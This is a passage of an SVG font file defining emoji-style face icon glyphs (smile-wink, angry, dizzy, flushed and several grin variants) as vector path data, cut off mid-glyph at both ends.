c0 -42.2002 21.7002 -74.0996 39.7998 -93.4004l20.6006 -21.7998l-10.6006 -28.0996c-5.5 -14.5 -12.5996 -28.1006 -19.8994 -40.2002c23.5996 7.59961 43.1992 18.9004 57.5 29l19.5 13.7998l22.6992 -7.2002c25.3008 -8 51.7002 -12.0996 78.4004 -12.0996z" />
    <glyph glyph-name="smile-wink" unicode="&#xf4da;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM365.8 138.4c10.2002 -8.5 11.6006 -23.6006 3.10059 -33.8008
c-30 -36 -74.1006 -56.5996 -120.9 -56.5996s-90.9004 20.5996 -120.9 56.5996c-8.39941 10.2002 -7.09961 25.3008 3.10059 33.8008c10.0996 8.39941 25.2998 7.09961 33.7998 -3.10059c20.7998 -25.0996 51.5 -39.3994 84 -39.3994s63.2002 14.3994 84 39.3994
c8.5 10.2002 23.5996 11.6006 33.7998 3.10059zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 268c25.7002 0 55.9004 -16.9004 59.7002 -42.0996c1.7998 -11.1006 -11.2998 -18.2002 -19.7998 -10.8008l-9.5 8.5
c-14.8008 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5c-8.30078 -7.39941 -21.5 -0.399414 -19.8008 10.8008c4 25.1992 34.2002 42.0996 59.9004 42.0996z" />
    <glyph glyph-name="angry" unicode="&#xf556;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM248 136c33.5996 0 65.2002 -14.7998 86.7998 -40.5996
c8.40039 -10.2002 7.10059 -25.3008 -3.09961 -33.8008c-10.6006 -8.89941 -25.7002 -6.69922 -33.7998 3c-24.8008 29.7002 -75 29.7002 -99.8008 0c-8.5 -10.1992 -23.5996 -11.5 -33.7998 -3s-11.5996 23.6006 -3.09961 33.8008
c21.5996 25.7998 53.2002 40.5996 86.7998 40.5996zM200 208c0 -17.7002 -14.2998 -32.0996 -32 -32.0996s-32 14.2998 -32 32c0 6.19922 2.2002 11.6992 5.2998 16.5996l-28.2002 8.5c-12.6992 3.7998 -19.8994 17.2002 -16.0996 29.9004
c3.7998 12.6992 17.0996 20 29.9004 16.0996l80 -24c12.6992 -3.7998 19.8994 -17.2002 16.0996 -29.9004c-3.09961 -10.3994 -12.7002 -17.0996 -23 -17.0996zM399 262.9c3.7998 -12.7002 -3.40039 -26.1006 -16.0996 -29.8008l-28.2002 -8.5
c3.09961 -4.89941 5.2998 -10.3994 5.2998 -16.5996c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32c-10.2998 0 -19.9004 6.7002 -23 17.0996c-3.7998 12.7002 3.40039 26.1006 16.0996 29.9004l80 24c12.8008 3.7998 26.1006 -3.40039 29.9004 -16.0996z" />
    <glyph glyph-name="dizzy" unicode="&#xf567;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM214.2 209.9
c-7.90039 -7.90039 -20.5 -7.90039 -28.4004 -0.200195l-17.7998 17.7998l-17.7998 -17.7998c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0c-7.80078 7.7998 -7.80078 20.5 0 28.2998l17.8994 17.9004l-17.8994 17.8994c-7.80078 7.7998 -7.80078 20.5 0 28.2998
c7.7998 7.80078 20.5 7.80078 28.2998 0l17.7998 -17.7998l17.9004 17.9004c7.7998 7.7998 20.5 7.7998 28.2998 0s7.7998 -20.5 0 -28.2998l-17.9004 -17.9004l17.9004 -17.7998c7.7998 -7.7998 7.7998 -20.5 0 -28.2998zM374.2 302.1
c7.7002 -7.7998 7.7002 -20.3994 0 -28.1992l-17.9004 -17.9004l17.7998 -18c7.80078 -7.7998 7.80078 -20.5 0 -28.2998c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0l-17.7998 17.7998l-17.7998 -17.7998c-7.7998 -7.7998 -20.5 -7.7998 -28.2998 0
c-7.80078 7.7998 -7.80078 20.5 0 28.2998l17.8994 17.9004l-17.8994 17.8994c-7.80078 7.7998 -7.80078 20.5 0 28.2998c7.7998 7.80078 20.5 7.80078 28.2998 0l17.7998 -17.7998l17.9004 17.7998c7.7998 7.80078 20.5 7.80078 28.2998 0zM248 176
c35.2998 0 64 -28.7002 64 -64s-28.7002 -64 -64 -64s-64 28.7002 -64 64s28.7002 64 64 64z" />
    <glyph glyph-name="flushed" unicode="&#xf579;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM344 304c44.2002 0 80 -35.7998 80 -80s-35.7998 -80 -80 -80
s-80 35.7998 -80 80s35.7998 80 80 80zM344 176c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM344 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM232 224c0 -44.2002 -35.7998 -80 -80 -80
s-80 35.7998 -80 80s35.7998 80 80 80s80 -35.7998 80 -80zM152 176c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM152 248c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM312 104
c13.2002 0 24 -10.7998 24 -24s-10.7998 -24 -24 -24h-128c-13.2002 0 -24 10.7998 -24 24s10.7998 24 24 24h128z" />
    <glyph glyph-name="frown-open" unicode="&#xf57a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM200 240c0 -17.7002 -14.2998 -32 -32 -32s-32 14.2998 -32 32
s14.2998 32 32 32s32 -14.2998 32 -32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32zM248 160c35.5996 0 88.7998 -21.2998 95.7998 -61.2002c2 -11.7998 -9.09961 -21.5996 -20.5 -18.0996
c-31.2002 9.59961 -59.3994 15.2998 -75.2998 15.2998s-44.0996 -5.7002 -75.2998 -15.2998c-11.5 -3.40039 -22.5 6.2998 -20.5 18.0996c7 39.9004 60.2002 61.2002 95.7998 61.2002z" />
    <glyph glyph-name="grimace" unicode="&#xf57f;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM344 192c26.5 0 48 -21.5 48 -48v-32c0 -26.5 -21.5 -48 -48 -48h-192c-26.5 0 -48 21.5 -48 48v32c0 26.5 21.5 48 48 48
h192zM176 96v24h-40v-8c0 -8.7998 7.2002 -16 16 -16h24zM176 136v24h-24c-8.7998 0 -16 -7.2002 -16 -16v-8h40zM240 96v24h-48v-24h48zM240 136v24h-48v-24h48zM304 96v24h-48v-24h48zM304 136v24h-48v-24h48zM360 112v8h-40v-24h24c8.7998 0 16 7.2002 16 16zM360 136v8
c0 8.7998 -7.2002 16 -16 16h-24v-24h40z" />
    <glyph glyph-name="grin" unicode="&#xf580;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008
c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.9004 -123.3 80c-1.7002 9.90039 7.7998 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM168 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32
s32 -14.2998 32 -32s-14.2998 -32 -32 -32zM328 208c-17.7002 0 -32 14.2998 -32 32s14.2998 32 32 32s32 -14.2998 32 -32s-14.2998 -32 -32 -32z" />
    <glyph glyph-name="grin-alt" unicode="&#xf581;" horiz-adv-x="496" 
d="M200.3 200c-7.5 -11.4004 -24.5996 -12 -32.7002 0c-12.3994 18.7002 -15.1992 37.2998 -15.6992 56c0.599609 18.7002 3.2998 37.2998 15.6992 56c7.60059 11.4004 24.7002 12 32.7002 0c12.4004 -18.7002 15.2002 -37.2998 15.7002 -56
c-0.599609 -18.7002 -3.2998 -37.2998 -15.7002 -56zM328.3 200c-7.5 -11.4004 -24.5996 -12 -32.7002 0c-12.3994 18.7002 -15.1992 37.2998 -15.6992 56c0.599609 18.7002 3.2998 37.2998 15.6992 56c7.60059 11.4004 24.7002 12 32.7002 0
c12.4004 -18.7002 15.2002 -37.2998 15.7002 -56c-0.599609 -18.7002 -3.2998 -37.2998 -15.7002 -56zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200
s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.8008 -123.3 80c-1.7002 10 7.7998 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006
s79.7002 4.7998 105.6 13.1006z" />
    <glyph glyph-name="grin-beam" unicode="&#xf582;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008
c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.9004 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM117.7 216.3c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998
c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996
l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002zM277.7 216.3c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998
c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002z" />
    <glyph glyph-name="grin-beam-sweat" unicode="&#xf583;" horiz-adv-x="496" 
d="M440 288c-29.5 0 -53.2998 26.2998 -53.2998 58.7002c0 25 31.7002 75.5 46.2002 97.2998c3.5 5.2998 10.5996 5.2998 14.1992 0c14.5 -21.7998 46.2002 -72.2998 46.2002 -97.2998c0 -32.4004 -23.7998 -58.7002 -53.2998 -58.7002zM248 48
c-51.9004 0 -115.3 32.9004 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-8 -47.0996 -71.3994 -80 -123.3 -80zM378.3 216.3
c-3.09961 -0.899414 -7.2002 0.100586 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998
c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998zM483.6 269.2c8 -24.2998 12.4004 -50.2002 12.4004 -77.2002c0 -137 -111 -248 -248 -248s-248 111 -248 248s111 248 248 248
c45.7002 0 88.4004 -12.5996 125.2 -34.2002c-10.9004 -21.5996 -15.5 -36.2002 -17.2002 -45.7002c-31.2002 20.1006 -68.2002 31.9004 -108 31.9004c-110.3 0 -200 -89.7002 -200 -200s89.7002 -200 200 -200s200 89.7002 200 200
c0 22.5 -3.90039 44.0996 -10.7998 64.2998c0.399414 0 21.7998 -2.7998 46.3994 12.9004zM168 258.6c-12.2998 0 -23.7998 -7.7998 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998
c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996z" />
    <glyph glyph-name="grin-hearts" unicode="&#xf584;" horiz-adv-x="496" 
d="M353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.8008 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM200.8 192.3
l-70.2002 18.1006c-20.3994 5.2998 -31.8994 27 -24.1992 47.1992c6.69922 17.7002 26.6992 26.7002 44.8994 22l7.10059 -1.89941l2 7.09961c5.09961 18.1006 22.8994 30.9004 41.5 27.9004c21.3994 -3.40039 34.3994 -24.2002 28.7998 -44.5l-19.4004 -69.9004
c-1.2998 -4.5 -6 -7.2002 -10.5 -6zM389.6 257.6c7.7002 -20.1992 -3.7998 -41.7998 -24.1992 -47.0996l-70.2002 -18.2002c-4.60059 -1.2002 -9.2998 1.5 -10.5 6l-19.4004 69.9004c-5.59961 20.2998 7.40039 41.0996 28.7998 44.5c18.7002 3 36.5 -9.7998 41.5 -27.9004
l2 -7.09961l7.10059 1.89941c18.2002 4.7002 38.2002 -4.39941 44.8994 -22zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200
s89.7002 -200 200 -200z" />
    <glyph glyph-name="grin-squint" unicode="&#xf585;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008
c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.9004 -123.3 80c-1.7002 9.90039 7.7998 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM118.9 184.2c-3.80078 4.39941 -3.90039 11 -0.100586 15.5l33.6006 40.2998
l-33.6006 40.2998c-3.7002 4.5 -3.7002 11 0.100586 15.5c3.89941 4.40039 10.1992 5.5 15.2998 2.5l80 -48c3.59961 -2.2002 5.7998 -6.09961 5.7998 -10.2998s-2.2002 -8.09961 -5.7998 -10.2998l-80 -48c-5.40039 -3.2002 -11.7002 -1.7002 -15.2998 2.5zM361.8 181.7
l-80 48c-3.59961 2.2002 -5.7998 6.09961 -5.7998 10.2998s2.2002 8.09961 5.7998 10.2998l80 48c5.10059 2.90039 11.5 1.90039 15.2998 -2.5c3.80078 -4.5 3.90039 -11 0.100586 -15.5l-33.6006 -40.2998l33.6006 -40.2998c3.7002 -4.5 3.7002 -11 -0.100586 -15.5
c-3.59961 -4.2002 -9.89941 -5.7002 -15.2998 -2.5z" />
    <glyph glyph-name="grin-squint-tears" unicode="&#xf586;" 
d="M117.1 63.9004c6.30078 0.899414 11.7002 -4.5 10.9004 -10.9004c-3.7002 -25.7998 -13.7002 -84 -30.5996 -100.9c-22 -21.8994 -57.9004 -21.5 -80.3008 0.900391c-22.3994 22.4004 -22.7998 58.4004 -0.899414 80.2998
c16.8994 16.9004 75.0996 26.9004 100.899 30.6006zM75.9004 105.6c-19.6006 -3.89941 -35.1006 -8.09961 -47.3008 -12.1992c-39.2998 90.5996 -22.0996 199.899 52 274c48.5 48.3994 111.9 72.5996 175.4 72.5996c38.9004 0 77.7998 -9.2002 113.2 -27.4004
c-4 -12.1992 -8.2002 -28 -12 -48.2998c-30.4004 17.9004 -65 27.7002 -101.2 27.7002c-53.4004 0 -103.6 -20.7998 -141.4 -58.5996c-61.5996 -61.5 -74.2998 -153.4 -38.6992 -227.801zM428.2 293.2c20.2998 3.89941 36.2002 8 48.5 12
c47.8994 -93.2002 32.8994 -210.5 -45.2002 -288.601c-48.5 -48.3994 -111.9 -72.5996 -175.4 -72.5996c-33.6992 0 -67.2998 7 -98.6992 20.5996c4.19922 12.2002 8.2998 27.7002 12.1992 47.2002c26.6006 -12.7998 55.9004 -19.7998 86.4004 -19.7998
c53.4004 0 103.6 20.7998 141.4 58.5996c65.6992 65.7002 75.7998 166 30.7998 242.601zM394.9 320.1c-6.30078 -0.899414 -11.7002 4.5 -10.9004 10.9004c3.7002 25.7998 13.7002 84 30.5996 100.9c22 21.8994 57.9004 21.5 80.3008 -0.900391
c22.3994 -22.4004 22.7998 -58.4004 0.899414 -80.2998c-16.8994 -16.9004 -75.0996 -26.9004 -100.899 -30.6006zM207.9 211.8c3 -3 4.19922 -7.2998 3.19922 -11.5l-22.5996 -90.5c-1.40039 -5.39941 -6.2002 -9.09961 -11.7002 -9.09961h-0.899414
c-5.80078 0.5 -10.5 5.09961 -11 10.8994l-4.80078 52.3008l-52.2998 4.7998c-5.7998 0.5 -10.3994 5.2002 -10.8994 11c-0.400391 5.89941 3.39941 11.2002 9.09961 12.5996l90.5 22.7002c4.2002 1 8.40039 -0.200195 11.4004 -3.2002zM247.6 236.9
c-0.0996094 0 -6.39941 -1.80078 -11.3994 3.19922c-3 3 -4.2002 7.30078 -3.2002 11.4004l22.5996 90.5c1.40039 5.7002 7 9.2002 12.6006 9.09961c5.7998 -0.5 10.5 -5.09961 11 -10.8994l4.7998 -52.2998l52.2998 -4.80078c5.7998 -0.5 10.4004 -5.19922 10.9004 -11
c0.399414 -5.89941 -3.40039 -11.1992 -9.10059 -12.5996zM299.6 148.4c29.1006 29.0996 53 59.5996 65.3008 83.7998c4.89941 9.2998 17.5996 9.89941 23.3994 1.7002c27.7002 -38.9004 6.10059 -106.9 -30.5996 -143.7s-104.8 -58.2998 -143.7 -30.6006
c-8.2998 5.90039 -7.5 18.6006 1.7002 23.4004c24.2002 12.5 54.7998 36.2998 83.8994 65.4004z" />
    <glyph glyph-name="grin-stars" unicode="&#xf587;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 -8c110.3 0 200 89.7002 200 200s-89.7002 200 -200 200s-200 -89.7002 -200 -200s89.7002 -200 200 -200zM353.6 143.4c10 3.09961 19.3008 -5.5 17.7002 -15.3008
c-8 -47.0996 -71.2998 -80 -123.3 -80s-115.4 32.8008 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.3008c26 -8.30078 64.3994 -13.1006 105.6 -13.1006s79.7002 4.7998 105.6 13.1006zM125.7 200.9l6.09961 34.8994l-25.3994 24.6006
c-4.60059 4.59961 -1.90039 12.2998 4.2998 13.1992l34.8994 5l15.5 31.6006c2.90039 5.7998 11 5.7998 13.9004 0l15.5 -31.6006l34.9004 -5c6.19922 -1 8.7998 -8.69922 4.2998 -13.1992l-25.4004 -24.6006l6 -34.8994c1 -6.2002 -5.39941 -11 -11 -7.90039
l-31.2998 16.2998l-31.2998 -16.2998c-5.60059 -3.09961 -12 1.7002 -11 7.90039zM385.4 273.6c6.19922 -1 8.89941 -8.59961 4.39941 -13.1992l-25.3994 -24.6006l6 -34.8994c1 -6.2002 -5.40039 -11 -11 -7.90039l-31.3008 16.2998l-31.2998 -16.2998
c-5.59961 -3.09961 -12 1.7002 -11 7.90039l6 34.8994l-25.3994 24.6006c-4.60059 4.59961 -1.90039 12.2998 4.2998 13.1992l34.8994 5l15.5 31.6006c2.90039 5.7998 11 5.7998 13.9004 0l15.5 -31.6006z" />
    <glyph glyph-name="grin-tears" unicode="&#xf588;" horiz-adv-x="640" 
d="M117.1 191.9c6.30078 0.899414 11.7002 -4.5 10.9004 -10.9004c-3.7002 -25.7998 -13.7002 -84 -30.5996 -100.9c-22 -21.8994 -57.9004 -21.5 -80.3008 0.900391c-22.3994 22.4004 -22.7998 58.4004 -0.899414 80.2998c16.8994 16.9004 75.0996 26.9004 100.899 30.6006
zM623.8 161.3c21.9004 -21.8994 21.5 -57.8994 -0.799805 -80.2002c-22.4004 -22.3994 -58.4004 -22.7998 -80.2998 -0.899414c-16.9004 16.8994 -26.9004 75.0996 -30.6006 100.899c-0.899414 6.30078 4.5 11.7002 10.8008 10.8008
c25.7998 -3.7002 84 -13.7002 100.899 -30.6006zM497.2 99.5996c12.3994 -37.2998 25.0996 -43.7998 28.2998 -46.5c-44.5996 -65.7998 -120 -109.1 -205.5 -109.1s-160.9 43.2998 -205.5 109.1c3.09961 2.60059 15.7998 9.10059 28.2998 46.5
c33.4004 -63.8994 100.3 -107.6 177.2 -107.6s143.8 43.7002 177.2 107.6zM122.7 223.5c-2.40039 0.299805 -5 2.5 -49.5 -6.90039c12.3994 125.4 118.1 223.4 246.8 223.4s234.4 -98 246.8 -223.5c-44.2998 9.40039 -47.3994 7.2002 -49.5 7
c-15.2002 95.2998 -97.7998 168.5 -197.3 168.5s-182.1 -73.2002 -197.3 -168.5zM320 48c-51.9004 0 -115.3 32.9004 -123.3 80c-1.7002 10 7.89941 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996s79.7002 4.7998 105.6 13.0996
c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-8 -47.0996 -71.3994 -80 -123.3 -80zM450.3 216.3c-3.09961 -0.899414 -7.2002 0.100586 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996s-23.7998 -7.89941 -31.5 -21.5996l-9.5 -17
c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998zM240 258.6
c-12.2998 0 -23.7998 -7.7998 -31.5 -21.5996l-9.5 -17c-1.90039 -3.2002 -5.7998 -4.7998 -9.2998 -3.7002c-3.60059 1.10059 -6 4.60059 -5.7002 8.2998c3.2998 42.1006 32.2002 71.4004 56 71.4004s52.7002 -29.2998 56 -71.4004
c0.299805 -3.7998 -2.09961 -7.19922 -5.7002 -8.2998c-3.09961 -1 -7.2002 0 -9.2998 3.7002l-9.5 17c-7.7002 13.7002 -19.2002 21.5996 -31.5 21.5996z" />
    <glyph glyph-name="grin-tongue" unicode="&#xf589;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM312 40h0.0996094v43.7998l-17.6992 8.7998c-15.1006 7.60059 -31.5 -1.69922 -34.9004 -16.5l-2.7998 -12.0996c-2.10059 -9.2002 -15.2002 -9.2002 -17.2998 0
l-2.80078 12.0996c-3.39941 14.8008 -19.8994 24 -34.8994 16.5l-17.7002 -8.7998v-42.7998c0 -35.2002 28 -64.5 63.0996 -65c35.8008 -0.5 64.9004 28.4004 64.9004 64zM340.2 14.7002c64 33.3994 107.8 100.3 107.8 177.3c0 110.3 -89.7002 200 -200 200
s-200 -89.7002 -200 -200c0 -77 43.7998 -143.9 107.8 -177.3c-2.2002 8.09961 -3.7998 16.5 -3.7998 25.2998v43.5c-14.2002 12.4004 -24.4004 27.5 -27.2998 44.5c-1.7002 10 7.7998 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996
s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-2.89941 -17 -13.0996 -32.0996 -27.2998 -44.5v-43.5c0 -8.7998 -1.59961 -17.2002 -3.7998 -25.2998zM168 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32
s14.2998 32 32 32zM328 272c17.7002 0 32 -14.2998 32 -32s-14.2998 -32 -32 -32s-32 14.2998 -32 32s14.2998 32 32 32z" />
    <glyph glyph-name="grin-tongue-squint" unicode="&#xf58a;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM312 40h0.0996094v43.7998l-17.6992 8.7998c-15.1006 7.60059 -31.5 -1.69922 -34.9004 -16.5l-2.7998 -12.0996c-2.10059 -9.2002 -15.2002 -9.2002 -17.2998 0
l-2.80078 12.0996c-3.39941 14.8008 -19.8994 24 -34.8994 16.5l-17.7002 -8.7998v-42.7998c0 -35.2002 28 -64.5 63.0996 -65c35.8008 -0.5 64.9004 28.4004 64.9004 64zM340.2 14.7002c64 33.3994 107.8 100.3 107.8 177.3c0 110.3 -89.7002 200 -200 200
s-200 -89.7002 -200 -200c0 -77 43.7998 -143.9 107.8 -177.3c-2.2002 8.09961 -3.7998 16.5 -3.7998 25.2998v43.5c-14.2002 12.4004 -24.4004 27.5 -27.2998 44.5c-1.7002 10 7.7998 18.4004 17.7002 15.2998c26 -8.2998 64.3994 -13.0996 105.6 -13.0996
s79.7002 4.7998 105.6 13.0996c10 3.2002 19.4004 -5.39941 17.7002 -15.2998c-2.89941 -17 -13.0996 -32.0996 -27.2998 -44.5v-43.5c0 -8.7998 -1.59961 -17.2002 -3.7998 -25.2998zM377.1 295.8c3.80078 -4.39941 3.90039 -11 0.100586 -15.5l-33.6006 -40.2998
l33.6006 -40.2998c3.7002 -4.5 3.7002 -11 -0.100586 -15.5c-3.59961 -4.2002 -9.89941 -5.7002 -15.2998 -2.5l-80 48c-3.59961 2.2002 -5.7998 6.09961 -5.7998 10.2998s2.2002 8.09961 5.7998 10.2998l80 48c5 3 11.5 1.90039 15.2998 -2.5zM214.2 250.3
c3.59961 -2.2002 5.7998 -6.09961 5.7998 -10.2998s-2.2002 -8.09961 -5.7998 -10.2998l-80 -48c-5.40039 -3.2002 -11.7002 -1.7002 -15.2998 2.5c-3.80078 4.5 -3.90039 11 -0.100586 15.5l33.6006 40.2998l-33.6006 40.2998c-3.7002 4.5 -3.7002 11 0.100586 15.5
c3.89941 4.5 10.2998 5.5 15.2998 2.5z" />
    <glyph glyph-name="grin-tongue-wink" unicode="&#xf58b;" horiz-adv-x="496" 
d="M152 268c25.7002 0 55.9004 -16.9004 59.7998 -42.0996c0.799805 -5 -1.7002 -10 -6.09961 -12.4004c-5.7002 -3.09961 -11.2002 -0.599609 -13.7002 1.59961l-9.5 8.5c-14.7998 13.2002 -46.2002 13.2002 -61 0l-9.5 -8.5
c-3.7998 -3.39941 -9.2998 -4 -13.7002 -1.59961c-4.39941 2.40039 -6.89941 7.40039 -6.09961 12.4004c3.89941 25.1992 34.0996 42.0996 59.7998 42.0996zM328 320c44.2002 0 80 -35.7998 80 -80s-35.7998 -80 -80 -80s-80 35.7998 -80 80s35.7998 80 80 80zM328 192
c26.5 0 48 21.5 48 48s-21.5 48 -48 48s-48 -21.5 -48 -48s21.5 -48 48 -48zM328 264c13.2998 0 24 -10.7002 24 -24s-10.7002 -24 -24 -24s-24 10.7002 -24 24s10.7002 24 24 24zM248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248z
M312 40h0.0996094v43.7998l-17.6992 8.7998c-15.1006 7.60059 -31.5 -1.69922 -34.9004 -16.5l-2.7998 -12.0996c-2.10059 -9.2002 -15.2002 -9.2002 -17.2998 0l-2.80078 12.0996c-3.39941 14.8008 -19.8994 24 -34.8994 16.5l-17.7002 -8.7998v-42.7998
